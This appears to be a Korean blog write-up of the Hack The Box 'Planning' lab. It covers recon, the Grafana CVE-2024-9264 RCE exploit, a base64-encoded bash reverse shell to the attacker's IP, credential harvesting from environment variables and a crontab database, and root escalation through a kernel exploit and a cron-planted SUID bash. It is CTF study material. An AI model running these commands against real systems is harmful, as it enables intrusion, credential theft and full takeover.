▌ TRANSMISSION · [HTB]

[EASY_LINUX] Planning write-up


alt text

이번 문제는 계정 정보를 가진 상태로 시작한다.

  • Username : admin
  • Password : 0D5oT70Fq13EvB5r

nmap scanning (port & services scanning)

  planning sudo nmap 10.129.237.241 -sC -sV --open --min-rate 2000
[sudo] password for kali: 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-05 14:20 +0900
Nmap scan report for 10.129.237.241
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.95 seconds

hosts 파일에 도메인 매핑 후 웹서비스부터 정보를 수집해봤다.

alt text

wapplyzer 를 통해 php로 페이지가 동작하고 있음을 확인했다.

alt text

about.php            (Status: 200) [Size: 12727]
contact.php          (Status: 200) [Size: 10632]
course.php           (Status: 200) [Size: 10229]
css                  (Status: 301) [Size: 178] [--> http://planning.htb/css/]
detail.php           (Status: 200) [Size: 13006]
img                  (Status: 301) [Size: 178] [--> http://planning.htb/img/]
index.php            (Status: 200) [Size: 23914]
index.php            (Status: 200) [Size: 23914]
js                   (Status: 301) [Size: 178] [--> http://planning.htb/js/]
lib                  (Status: 301) [Size: 178] [--> http://planning.htb/lib/]

gobuster 수행 결과 로그인 페이지가 있을 것으로 예상했던 거과 다르게, 그냥 홈페이지에서도 충분히 접근 가능한 것들만 나왔다.

페이지에서 사용할 수 있는 입력 폼과 버튼들을 다 burp로 잡아봤는데, 얻을게 없었다. (심지어 Contact기능은 입력 폼이 있는데 GET으로 날아감)

그래서 여기는 도저히 아닌 것 같아 서브 도메인을 찾아보기로 했다.

alt text

301 code 필터링 걸고 돌려보니, grafana라는 서브 도메인이 찾아졌다.

  • 302 code (Found / Temporary Redirect) : 클라이언트가 요청한 대상 리소스가 임시로 다른 URI에 위치해 있음을 나타내는 리다이렉션 상태 코드

접속하면 어디론가 날아가는 듯 하다… 날아가보자.

alt text

(hosts 매핑을 까먹고…)

alt text

Grafana?
Grafana는 Metrics, Logs, Tracces 등 다양한 원격 측정 데이터를 쿼리, 시각화, 탐색하고 조건에 따라 알림을 생성할 수 있는 오픈소스 기반의 관측성 및 데이터 시각화 플랫폼이다.

머신에서 사용중인 Grafana version은 11.0.0 이다. 해당 버전에서 공개된 CVE가 있는지 검색해보니 요런게 나왓다.

alt text

2024년 10월 18일 공개된 CVE로, Grafana 서버 시스템에 RCE, LFI 를 할 수 있다고 한다. (ㄷㄷ)

머신 정보에 쓰여있던 계정 정보를 입력해보았다.

alt text

(로그인 성공!)

근데 CVE를 조금 더 서치해보니

익스 코드가 있다.

요거를 한번 써보기로 했다.

  CVE-2024-9264 git:(main) python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'cat /etc/passwd' http://grafana.planning.htb/         
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: cat /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('cat /etc/passwd 
>/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

(허거덩스…)

바로 리버스 쉘을 받아와보자.

sudo nc -lnvp 1337

리스너를 열어준 뒤,

  CVE-2024-9264 git:(main) echo 'bash -i >& /dev/tcp/10.10.16.158/1337 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNTgvMTMzNyAwPiYxCg==
  CVE-2024-9264 git:(main) python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNTgvMTMzNyAwPiYxCg== | base64 -d | bash' http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNTgvMTMzNyAwPiYxCg== | base64 -d | 
bash

실행해보면?

  planning sudo nc -lnvp 1337
[sudo] password for kali: 
listening on [any] 1337 ...
connect to [10.10.16.158] from (UNKNOWN) [10.129.237.241] 59234
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~# 

root 권한을 얻었다!

근데 아무리 찾아봐도 플래그를 찾을 수 없었다.

그렇다는건 여기가 플래그를 가진 최종 호스트가 아니거나 격리된 환경일 수 있다. (Docker나 lxc 같은 컨테이너 환경)

root@7ce659d667d7:~/public/test# ls -al /.dockerenv
ls -al /.dockerenv
-rwxr-xr-x 1 root root 0 Apr  4  2025 /.dockerenv
  • ls -al /.dockerenv : Docker 데몬이 컨테이너를 생성하고 가동할 때 최상위 루트 디렉토리에 자동으로 생성하는 빈파일.
  • ls -al /.containerenv : Podman/CRI-O 계열에서 자주보임

요런 명령어들로 컨테이너 전용 파일이 있나 확인해 보니 Docker 환경임을 알 수 있었다. (지금보니 host이름이 도커 컨테이너 아이디였네…)

grafana 애플리케이션을 돌리는 이 Docker를 탈출해야하나 싶은 생각이 든다… (Container Escape를 들어본 적은 있는데 해본적이 없었다…)

conf 폴더도 다 뒤져봤는데, 뭔가 없었다…

모르겠어서 무작정 grafana docker 이걸 검색해봤다.

alt text

공식 홈페이지에서 docker 설정 가이드가 나와있어서 쭉 봤는데 환경 변수를 사용해서 커스텀 설정이 가능하고, 플러그인도 환경변수를 통해서 설치하거나 관리할 수 있다고 한다.

env 명령으로 컨테이너 내 환경변수를 확인해보니

root@7ce659d667d7:~/conf/provisioning# env
env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana/conf/provisioning
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
AWS_AUTH_EXTERNAL_ID=
SHLVL=4
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
OLDPWD=/usr/share/grafana/conf/provisioning/datasources
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo

?!?!?!?!? 요게 있었다. (누가 봐도 이거네…)

다음부터 환경 변수도 확인하는 습관을 길러야겠다… (루틴 추가)

처음에 nmap 스캔으로 ssh 서비스가 돌아가는 것을 확인했으니, 요 계정 정보로 접속해보면

  planning ssh enzo@planning.htb
The authenticity of host 'planning.htb (10.129.237.241)' can't be established.
ED25519 key fingerprint is: SHA256:iDzE/TIlpufckTmVF0INRVDXUEu/k2y3KbqA/NDvRXw
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'planning.htb' (ED25519) to the list of known hosts.
enzo@planning.htb's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue May  5 08:49:45 AM UTC 2026

  System load:  0.0               Processes:             235
  Usage of /:   65.8% of 6.30GB   Users logged in:       0
  Memory usage: 42%               IPv4 address for eth0: 10.129.237.241
  Swap usage:   0%

  => There is 1 zombie process.


Expanded Security Maintenance for Applications is not enabled.

102 updates can be applied immediately.
77 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue May 5 08:49:48 2026 from 10.10.16.158
enzo@planning:~$ 

이제 진짜 호스트쪽으로 넘어온 것 같다.

enzo@planning:~$ cat user.txt
b587796145ea981952ec52d11028d168

user flag도 잘 있다.

enzo@planning:~$ sudo -l
[sudo] password for enzo: 
Sorry, user enzo may not run sudo on planning.

권한 상승을 하려고 sudo 리스트를 확인해 봤는데, 이 유저는 아예 사용이 불가능했다.

python3 가 사용이 가능했는데, 요걸로 이번에 나온 copy.fail을 딸깍 해볼까한다…ㅎ

enzo@planning:~$ python3 cve-2026-31431.py 
# ls
cve-2026-31431.py  user.txt
# id
uid=0(root) gid=1000(enzo) groups=1000(enzo)
# cat /root/root.txt
897584eed166add8681ab74bd7e8fd54

엄… 일단 풀긴 풀었다…


no copy fail

다른 방식으로 LPE를 해보자!

  planning ssh enzo@planning.htb
enzo@planning.htb's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue May  5 12:15:43 PM UTC 2026

  System load:  0.0               Processes:             230
  Usage of /:   65.6% of 6.30GB   Users logged in:       0
  Memory usage: 40%               IPv4 address for eth0: 10.129.237.241
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

102 updates can be applied immediately.
77 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue May 5 12:16:06 2026 from 10.10.16.158
enzo@planning:~$ 

(lateral movement 이후부터 진행)

경험상 로컬에서만 돌아가는 서비스가 있는 경우도 있어서 네트워크 소켓들을 조사해봤다.

alt text

mysql(3306) 서비스가 돌아아고 있길래, 여기서 root의 계정 정보를 얻을 수 있지 않을까 싶었다.

enzo@planning:~$ mysql -u enzo -p
Enter password: 
ERROR 1045 (28000): Access denied for user 'enzo'@'localhost' (using password: YES)

하지만 권한이 없어 접속이 불가능 했다.

그러면 요건 아닌거 같으니 3000번? 포트를 살펴봤다.

이 3000번 포트의 정보를 찾아보니, 웹 개발 서버에 사용하는 프레임워크들이 기본으로 사용하는 포트였다. (확인해 보니 grafana였다…)

그 다음에 8000번 포트가 열려있는걸 볼 수 있는데, 80번 말고 또다른 웹페이지가 존재하는 듯 하다.

요걸 ssh로 LPF(Local Port Forwarding)로 접속해보자!

  planning ssh enzo@planning.htb -L 4444:127.0.0.1:8000
enzo@planning.htb's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue May  5 12:57:31 PM UTC 2026

  System load:  0.0               Processes:             229
  Usage of /:   65.6% of 6.30GB   Users logged in:       1
  Memory usage: 40%               IPv4 address for eth0: 10.129.237.241
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

102 updates can be applied immediately.
77 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue May 5 12:57:32 2026 from 10.10.16.158
enzo@planning:~$

alt text

로그인 창이 대뜸 나온다…?

enzo..?는 아닌거 같고… 이 웹 서비스의 정보 수집을 더 해야하는 것 같다.

/var/www 이런곳에 있나?

alt text

뭐가 딱히 없다..

루트 디렉터리를 여기저기 들쑤시면서 시간을 좀 많이 쓰다가 /opt 디렉터리를 찾아보게 됐다.

  • /opt (Optional) : Optional Software를 위한 디렉토리로, 시스템에 기본적으로 포함되지 않은 추가 애플리케이션이나 서드파티 소프트웨어를 설치할 때 사용된다.

여기 들어가보면,

alt text

crontabs가 있다?

  • crontabs : Linux/Unix에서 정해진 시간마다 명령이나 스크립트를 자동 실행하도록 등록해둔 작업 목록

보통 이 녀석은 /etc/var 이런 곳에 있다고 알고 있었기에 더 들어가보니까

enzo@planning:/opt/crontabs$ ls
crontab.db

무슨 db가 있다.

enzo@planning:/opt/crontabs$ cat crontab.db | jq
{
  "name": "Grafana backup",
  "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
  "schedule": "@daily",
  "stopped": false,
  "timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740774983276,
  "saved": false,
  "_id": "GTI22PpoJNtRKg0W"
}
{
  "name": "Cleanup",
  "command": "/root/scripts/cleanup.sh",
  "schedule": "* * * * *",
  "stopped": false,
  "timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740849309992,
  "saved": false,
  "_id": "gNIRXh1WIc9K7BYX"
}

이름들만 봐서는 Grafana 백업과 무엇인가를 깨끗하게 만들어주는 것 같다.

백업본을 만들기 위해 압축하는 과정에서 사용한 패스워드 P4ssw0rdS0pRi0T3c도 발견할 수 있었다.

이 Cleanup 에 사용되는 스크립트가 /root/scripts/cleanup.sh 인걸 보아, 요 crontab.db 안에 내용들은 root 권한으로 관리되는 것 같다.

패스워드를 동일하게 쓴다는 가정하에, 유저명은 admin 아니면 root 일거라 생각하고 요걸로 로그인 시도를 해봤다.

alt text

(rootP4ssw0rdS0pRi0T3c 였다!!)

보니까 crontab을 관리하는 것 같다.

여기에 작업과 시간을 정하면 그 시간마다 해당 작업이 수행되는거 같은데, 친절하게 편집까지 가능했다.

1분마다 실행되는 저 cleanup.sh 말고, /bin/bash 에 SUID를 심는 걸로 바꿔버리자.

그러면 /bin/bash가 실행할 때 만큼은 root 권한으로 실행되도록 바뀔 것이다.

alt text

alt text

1분도 아까우니 바로 실행해주자!

enzo@planning:~$ bash -p
bash-5.2# id
uid=1000(enzo) gid=1000(enzo) euid=0(root) groups=1000(enzo)
bash-5.2# cat /root/root.txt
973ecbe1fd877413675d6cc1c1ce1c38
  • -p : Privileged 모드

    • RUID : Real UID로, 실제 프로그램을 실행한 사용자 ID
    • EUID : Effective UID로, 권한 검사에 사용되는 사용자 ID
  • bash는 보안상 기본 실행에서 EUID를 RUID로 내려버릴 수 있다. 그래서 -p 옵션으로 실행해서 EUID를 유지하는 것이다.

    (bash 바이너리의 SUID 를 이용한 LPE는 꼭 -p 옵션을 사용해야겠다!)

이렇게 권한 상승까지 해서 root.txt 를 얻을 수 있었다~!


← ALL POSTS